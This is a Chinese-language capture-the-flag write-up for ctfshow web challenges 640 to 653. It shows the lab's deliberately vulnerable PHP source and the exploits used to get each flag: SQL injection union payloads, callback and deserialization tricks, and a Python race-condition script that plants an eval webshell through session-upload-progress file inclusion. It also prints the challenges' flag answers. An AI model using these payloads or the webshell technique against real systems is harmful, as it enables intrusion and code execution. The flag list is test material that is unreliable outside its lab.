web640

打开页面,首页就是。

web641

抓包即可看到。

web642

F12查看源代码,发现可疑路径/system36d/,访问发现302跳转然后又闪了一个页面最后跳到了login页面,查看抓包记录,可以看到中间页面给出了flag

1

web644

在/system36d/login.php发现要输入密码,F12查看js发现密码,输入得到flag

2

web643

在系统设置-网络测试处可以执行指令,使用ls,得到可疑路径secret.txt,访问获得flag

3

web645

使用数据管理-数据备份可以看到flag。

web646

在系统更新-远程更新,点击在线更新显示地址不可达。

抓包,将update_address的值改为**%2Fvar%2Fwww%2Fhtml%2Fsystem36d%2Fmain.php**,发包,获得main.php的源码,发现init.php。

然后将main.php改为init.php,得到flag

web647

结合之前的ls,我们可以一个个访问文件获得源码,然后进行代码审计。

/system36d/checklogin.php

1
2
3
4
$s=$_GET['s'];
setcookie('uid',intval($s));
$_SESSION['user_id']=intval($s);
header('location:main.php');

/system36d/users.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$a=$_GET['action'];switch ($a) {        
# ...
case 'evilString':
evilString($_GET['m']);
break;
}function evilString($m){
$key = '372619038';
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE){
echo shell_exec('cat /FLAG/FLAG647');
}else{
echo 'you are not 372619038?';
}
}

我们可以在checklogin.php 设置session值,然后访问users.php调用session_encode即可。

先访问
/system36d/checklogin.php?s=372619038
再访问
/system36d/users.php?action=evilString&m=session_encode

即可获得flag

ctfshow{e6ad8304cdb562971999b476d8922219}

web648

users.php代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
<?php

class UserManager
{
const DB_PATH = 'users.dat';
const FLAG645 = 'your_flag_here'; // 定义常量

/**
* 获取用户列表
*/
public static function getUsers($data, $page = 1, $limit = 10)
{
$ret = [
'code' => 0,
'message' => '数据获取成功',
'data' => []
];

$users = explode('|', $data);
array_pop($users);
$index = 1;

foreach ($users as $user) {
$userParts = explode('@', $user);
$username = $userParts[0];

if ($username == 'admin') {
$isAdmin = '是';
$password = 'flag就是管理员的密码,不过我隐藏了';
$content = '删除此条记录后flag就会消失';
} else {
$isAdmin = '否';
$password = $userParts[1];
$content = '无';
}

$ret['data'][] = [
'id' => $index,
'username' => $username,
'password' => $password,
'isAdmin' => $isAdmin,
'content' => $content
];

$index++;
}

$ret['count'] = $index;
$start = ($page - 1) * $limit;
$ret['data'] = array_slice($ret['data'], $start, $limit, true);

return json_encode($ret);
}

/**
* 添加用户
*/
public static function addUser($data, $username, $password)
{
$ret = [
'code' => 0,
'message' => '添加成功'
];

if (self::existsUser($data, $username) == 0) {
$newData = $data . $username . '@' . $password . '|';
file_put_contents(self::DB_PATH, $newData);
} else {
$ret['code'] = -1;
$ret['message'] = '用户已存在';
}

return json_encode($ret);
}

/**
* 更新用户信息
*/
public static function updateUser($data, $username, $password)
{
$ret = [
'code' => 0,
'message' => '更新成功'
];

if (self::existsUser($data, $username) > 0 && $username != 'admin') {
$pattern = '/' . $username . '@[0-9a-zA-Z]+\|/';
$replacement = $username . '@' . $password . '|';
$newData = preg_replace($pattern, $replacement, $data);
file_put_contents(self::DB_PATH, $newData);
} else {
$ret['code'] = -1;
$ret['message'] = '用户不存在或无权更新';
}

return json_encode($ret);
}

/**
* 删除用户
*/
public static function delUser($data, $username)
{
$ret = [
'code' => 0,
'message' => '删除成功'
];

if (self::existsUser($data, $username) > 0 && $username != 'admin') {
$pattern = '/' . $username . '@[0-9a-zA-Z]+\|/';
$newData = preg_replace($pattern, '', $data);
file_put_contents(self::DB_PATH, $newData);
} else {
$ret['code'] = -1;
$ret['message'] = '用户不存在或无权删除';
}

return json_encode($ret);
}

/**
* 检查用户是否存在
*/
public static function existsUser($data, $username)
{
$pattern = '/' . $username . '@[0-9a-zA-Z]+\|/';
return preg_match($pattern, $data);
}

/**
* 备份用户数据
*/
public static function backupUsers()
{
$file_name = self::DB_PATH;

if (!file_exists($file_name)) {
header('HTTP/1.1 404 NOT FOUND');
} else {
$file = fopen($file_name, "rb");
Header("Content-type: application/octet-stream");
Header("Accept-Ranges: bytes");
Header("Accept-Length: " . filesize($file_name));
Header("Content-Disposition: attachment; filename=backup.dat");

$fileContent = fread($file, filesize($file_name));
$filteredContent = str_replace(self::FLAG645, 'flag就在这里,可惜不能给你', $fileContent);

echo $filteredContent;
fclose($file);
exit();
}
}

/**
* 生成随机数组
*/
public static function getArray($total, $times, $min, $max)
{
$data = [];

if ($min * $times > $total || $max * $times < $total) {
return [];
}

while ($times >= 1) {
$times--;
$kmix = max($min, $total - $times * $max);
$kmax = min($max, $total - $times * $min);
$kAvg = $total / ($times + 1);
$kDis = min($kAvg - $kmix, $kmax - $kAvg);
$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
$k = round($kAvg + $r);
$total -= $k;
$data[] = $k;
}

return $data;
}

/**
* 恢复用户数据
*/
public static function recoveryUsers()
{
$ret = [
'code' => 0,
'message' => '恢复成功'
];

if (isset($_FILES['file']) && $_FILES['file']['size'] < 1024 * 1024) {
$file_name = $_FILES['file']['tmp_name'];
$result = move_uploaded_file($file_name, self::DB_PATH);

if ($result === false) {
$ret['message'] = '数据恢复失败 file_name: ' . $file_name . ' DB_PATH: ' . self::DB_PATH;
}
} else {
$ret['message'] = '数据恢复失败';
}

return json_encode($ret);
}

/**
* 验证授权密钥
*/
public static function authKeyValidate($auth)
{
$ret = [
'code' => 0,
'message' => $auth == substr(self::FLAG645, 8) ? '验证成功' : '验证失败',
'status' => $auth == substr(self::FLAG645, 8) ? '0' : '-1'
];

return json_encode($ret);
}

/**
* 远程更新
*/
public static function remoteUpdate($auth, $address)
{
$ret = [
'code' => 0,
'message' => '更新失败'
];

if ($auth !== substr(self::FLAG645, 8)) {
$ret['message'] = '权限key验证失败';
return json_encode($ret);
}

$content = file_get_contents($address);
$ret['message'] = ($content !== false ? $content : '地址不可达');

return json_encode($ret);
}

/**
* 字符串验证函数
*/
public static function evilString($m)
{
$key = '372619038';
$content = call_user_func($m);

if (stripos($content, $key) !== false) {
echo shell_exec('cat /FLAG/FLAG647');
} else {
echo 'you are not 372619038?';
}
}

/**
* 类验证函数
*/
public static function evilClass($m, $k)
{
class CTFShow
{
public $m;

public function __construct($m)
{
$this->m = $m;
}
}

$ctfshow = new CTFShow($m);
$ctfshow->m = $m;

if ($ctfshow->m == $m && $k == shell_exec('cat /FLAG/FLAG647')) {
echo shell_exec('cat /FLAG/FLAG648');
} else {
echo 'mmmmm?';
}
}

/**
* 数字验证函数
*/
public static function evilNumber($m, $k)
{
$number = self::getArray(1000, 20, 10, 999);

if (isset($number[$m]) && $number[$m] == $m && $k == shell_exec('cat /FLAG/FLAG648')) {
echo shell_exec('cat /FLAG/FLAG649');
} else {
echo 'number is right?';
}
}

/**
* 函数验证
*/
public static function evilFunction($m, $k)
{
$key = 'ffffffff';
$content = call_user_func($m);

if (stripos($content, $key) !== false && $k == shell_exec('cat /FLAG/FLAG649')) {
echo shell_exec('cat /FLAG/FLAG650');
} else {
echo 'you are not ffffffff?';
}
}

/**
* 数组验证
*/
public static function evilArray($m, $k)
{
$arrays = unserialize($m);

if ($arrays !== false) {
$isValid = array_key_exists('username', $arrays) &&
in_array('ctfshow', get_object_vars($arrays)) &&
$k == shell_exec('cat /FLAG/FLAG650');

if ($isValid) {
echo shell_exec('cat /FLAG/FLAG651');
} else {
echo 'array?';
}
}
}

/**
* 网络测试
*/
public static function netTest($cmd)
{
$ret = [
'code' => 0,
'message' => '命令执行失败'
];

if (preg_match('/^[A-Za-z]+$/', $cmd)) {
$res = shell_exec($cmd);

if (stripos(PHP_OS, 'WIN') !== false) {
$ret['message'] = iconv("GBK", "UTF-8", $res);
} else {
$ret['message'] = $res;
}
}

return json_encode($ret);
}

/**
* PHP信息测试
*/
public static function phpInfoTest()
{
return phpinfo();
}
}

// 使用示例
/*
$userData = file_get_contents(UserManager::DB_PATH);
$users = UserManager::getUsers($userData, 1, 10);
echo $users;
*/

重点看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# /system36d/users.php
$a=$_GET['action'];
switch ($a) {
# ...
case 'evilClass':
evilClass($_GET['m'],$_GET['key']);
break;
}
function evilClass($m,$k){
class ctfshow{
public $m;
public function __construct($m){
$this->$m=$m;
}
}
$ctfshow=new ctfshow($m);
$ctfshow->$m=$m;
if($ctfshow->$m==$m && $k==shell_exec('cat /FLAG/FLAG647')){
echo shell_exec('cat /FLAG/FLAG648');
}else{
echo 'mmmmm?';
}
}

传参即可。

1
https://5e5a4408-6fb2-4b89-ad5f-c71be0e2163b.challenge.ctf.show/system36d/users.php?action=evilClass&key=flag_647=ctfshow{e6ad8304cdb562971999b476d8922219}&m=

获得flag

flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}

web649

查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
    /**
* 生成随机数组
*/
public static function getArray($total, $times, $min, $max)
{
$data = [];

if ($min * $times > $total || $max * $times < $total) {
return [];
}

while ($times >= 1) {
$times--;
$kmix = max($min, $total - $times * $max);
$kmax = min($max, $total - $times * $min);
$kAvg = $total / ($times + 1);
$kDis = min($kAvg - $kmix, $kmax - $kAvg);
$r = ((float)(rand(1, 10000) / 10000) - 0.5) * $kDis * 2;
$k = round($kAvg + $r);
$total -= $k;
$data[] = $k;
}

return $data;
}

public static function evilNumber($m, $k)
{
$number = self::getArray(1000, 20, 10, 999);

if (isset($number[$m]) && $number[$m] == $m && $k == shell_exec('cat /FLAG/FLAG648')) {
echo shell_exec('cat /FLAG/FLAG649');
} else {
echo 'number is right?';
}
}
````

payload:

https://5e5a4408-6fb2-4b89-ad5f-c71be0e2163b.challenge.ctf.show/system36d/users.php?action=evilNumber&key=flag_648=ctfshow{af5b5e411813eafd8dc2311df30b394e}&m=

1
2
3
4
5
6

m置空即可

得到`flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}`

# web650

$a=$_GET[‘action’];
switch ($a) {
# …
case ‘evilFunction’:
evilFunction($_GET[‘m’],$_GET[‘key’]);
break;
}
function evilFunction($m,$k){
$key = ‘ffffffff’;
$content = call_user_func($m);
if(stripos($content, $key)!==FALSE && $k==shell_exec(‘cat /FLAG/FLAG649’)){
echo shell_exec(‘cat /FLAG/FLAG650’);
}else{
echo ‘you are not ffffffff?’;
}
}

1
2

查找存在ffffffff的函数即可。

/system36d/users.phpaction=evilFunction&key=flag_649=ctfshow{9ad80fcc305b58afbb3a0c2097ac40ef}&m=phar::createDefaultStub

1
2
3
4
5
6

得到flag

ctfshow{5eae22d9973a16a0d37c9854504b3029}

# web651

function evilArray($m,$k){
$arrays=unserialize($m);
if($arrays!==false){
if(array_key_exists(‘username’, $arrays) && in_array(‘ctfshow’, get_object_vars($arrays)) && $k==shell_exec(‘cat /FLAG/FLAG650’)){
echo shell_exec(‘cat /FLAG/FLAG651’);
}else{
echo ‘array?’;
}
}
}

1
2
3

序列化构造。

1
2
3
4
5
6
7
8
9
10
11
12
13
14

flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}

# web652

```# /page.php
page.php
<?php
error_reporting(0);
include __DIR__.DIRECTORY_SEPARATOR.'system36d/util/dbutil.php';
$id = isset($_GET['id'])?$_GET['id']:'1';
// 转义'来实现防注入
$id = addslashes($id);
$name = db::get_username($id);?>
/system36d/util/dbutil.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
/system36d/util/dbutil.php
<?php
class db{
private static $host='localhost';
private static $username='root';
private static $password='root';
private static $database='ctfshow';
private static $conn;
public static function get_key(){
$ret = '';
$conn = self::get_conn();
$res = $conn->query('select `key` from ctfshow_keys');
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['key'];
self::close();
return $ret;
}
public static function get_username($id){
$ret = '';
$conn = self::get_conn();
$res = $conn->query("select `username` from ctfshow_users where id = ($id)");
if($res){
$row = $res->fetch_array(MYSQLI_ASSOC);
}
$ret = $row['username'];
self::close();
return $ret;
}
private static function get_conn(){
if(self::$conn==null){
self::$conn = new mysqli(self::$host, self::$username, self::$password, self::$database);
}
return self::$conn;
}
private static function close(){
if(self::$conn!==null){
self::$conn->close();
}
}
}

sql注入。

1
view-source:https://5e5a4408-6fb2-4b89-ad5f-c71be0e2163b.challenge.ctf.show/page.php?id=10)%20union%20select%20secret%20as%20username%20from%20ctfshow_secret%20where%201%20=(1

拿到flag_652=ctfshow{4b37ab4b6504d43ea0de9a688f0e3ffa}

1
view-source:https://5e5a4408-6fb2-4b89-ad5f-c71be0e2163b.challenge.ctf.show//page.php?id=10)%20union%20select%20`key`%20as%20username%20from%20ctfshow_keys%20where%201%20=(1

拿到key:key_is_here_you_know

web653

/var/www/html/system36d/util/common.php
1
2
3
4
5
6
7
8
9
10
<?php
include 'dbutil.php';
if($_GET['k']!==shell_exec('cat /FLAG/FLAG651')){
die('651flag未拿到');
}
if(isset($_POST['file']) && file_exists($_POST['file'])){
if(db::get_key()==$_POST['key']){
include __DIR__.DIRECTORY_SEPARATOR.$_POST['file'];
}
}

session包含。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import requests
import io
import threading

url = "http://5e5a4408-6fb2-4b89-ad5f-c71be0e2163b.challenge.ctf.show//system36d/util/common.php?k=flag_651=ctfshow{a4c64b86d754b3b132a138e3e0adcaa6}"
url2 = "http://5e5a4408-6fb2-4b89-ad5f-c71be0e2163b.challenge.ctf.show//index.php"
sessionid = "chino"
data = {
'key': 'key_is_here_you_know',
'file': '../../../../../tmp/sess_' + sessionid,
# /var/www/html/system36d/util/dbutil.php
'1': '''file_put_contents('chino.php','<?php eval($_POST[1]);?>');'''
}


def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
resp = session.post(url2,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'},
files={'file': ('chino.png', filebytes)},
cookies={'PHPSESSID': sessionid})
print("[*]writing...")


def read(session):
while True:
resp = session.post(url, data=data, cookies={'PHPSESSID': sessionid})
if 'chino.png' or 'offset: 1' in resp.text:
print(resp.text)
event.clear()
else:
print("[*]status:" + str(resp.status_code))


if __name__ == "__main__":
event = threading.Event()
with requests.session() as session:
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()
event.set()

然后

1
`cat /secret.txt`

即可